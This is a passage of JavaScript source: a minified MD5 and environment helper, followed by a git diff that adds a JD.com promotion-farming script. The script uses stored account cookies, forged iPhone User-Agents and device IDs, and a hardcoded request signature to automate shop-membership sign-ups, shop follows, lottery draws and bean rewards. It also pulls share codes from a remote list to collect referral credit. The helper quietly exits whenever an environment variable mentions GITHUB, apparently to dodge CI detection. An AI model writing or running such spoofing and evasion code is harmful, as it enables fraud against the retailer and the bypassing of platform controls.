14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_huiju11.js b/backUp/jd_lzdz1_huiju11.js new file mode 100644 index 0000000..f641d36 --- /dev/null +++ b/backUp/jd_lzdz1_huiju11.js @@ -0,0 +1,598 @@ +/* +惠聚11.11 好物乐享不停 +11.1 - 11.12 +https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=dzlbklzmsk20211101A&shareUuid=b56485541148443bb2831bf6425645d5 + +默认执行脚本。如果需要不执行 +环境变量 NO_RUSH=false +*/ +const $ = new Env("惠聚11.11 好物乐享不停"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let isRush = true; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +if (process.env.NO_RUSH && process.env.NO_RUSH != "") { + isRush = process.env.NO_RUSH; +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_huanju11.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + 'b56485541148443bb2831bf6425645d5', + ] + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = 'dzlbklzmsk20211101A' + $.activityShopId = '1000004489' + $.activityUrl = `https://lzdz1-isv.isvjd.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + if (isRush === true) { + console.log("未检测到不执行环境变量,执行任务") + await rush(); + } else { + console.log("检测到不执行环境变量,退出任务,环境变量 NO_RUSH") + break + } + await $.wait(3000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function rush() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + $.log("->关注店铺") + if ($.shopTask) { + if (!$.shopTask.allStatus) { + await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) + } else { + $.log(" >>>已经关注过了\n") + await $.wait(2000) + return + } + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加入店铺会员") + if ($.openCardStatus) { + for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { + $.log("模拟上报访问记录") + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000004065&pageId=dz20211013skcnurdk11jhdue84752hp&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(2000) + } + t1TaskList = [] + $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) + t2TaskList = [] + $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) + if (t1TaskList.length < 1) { + console.log(" >>>已经完成入会任务") + + } else { + for (const vo of t1TaskList) { + $.log(` >>>去加入${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + for (const vo of t2TaskList) { + $.log(` >>>${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + } + + await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) + + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加购物车") + await task("dz/openCard/saveTask", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&type=2&taskValue=100025232454`) + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'wxActionCommon/getUserInfo': + break; + case 'dz/openCard/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log(ownCode) + } + $.actorUuid = data.data.actorUuid; + $.skuTask = data.data.addSku; + $.shopTask = data.data.followShop; + } else { + $.log("活动已经结束"); + } + break; + case 'dz/openCard/checkOpenCard': + $.openCardStatus = data.data; + break; + case 'dz/openCard/saveTask': + console.log(data.data.addBeanNum) + break; + case 'dz/openCard/saveTask': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + case 'dz/openCard/startDraw': + if (data.data.drawOk) { + switch (data.data.drawInfo.type) { + case 6: + $.bean += data.data.drawInfo.beanNum; + $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) + break; + default: + if ($.isNode()) { + await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } else { + $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } + break; + } + } + break; + case 'crm/pageVisit/insertCrmPageVisit': + $.log("==> 上报成功") + + case 'dz/openCard/followShop': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjd.com/${function_id}` : `https://lzdz1-isv.isvjd.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjd.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjd.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjd.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjd.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjd.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + // $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 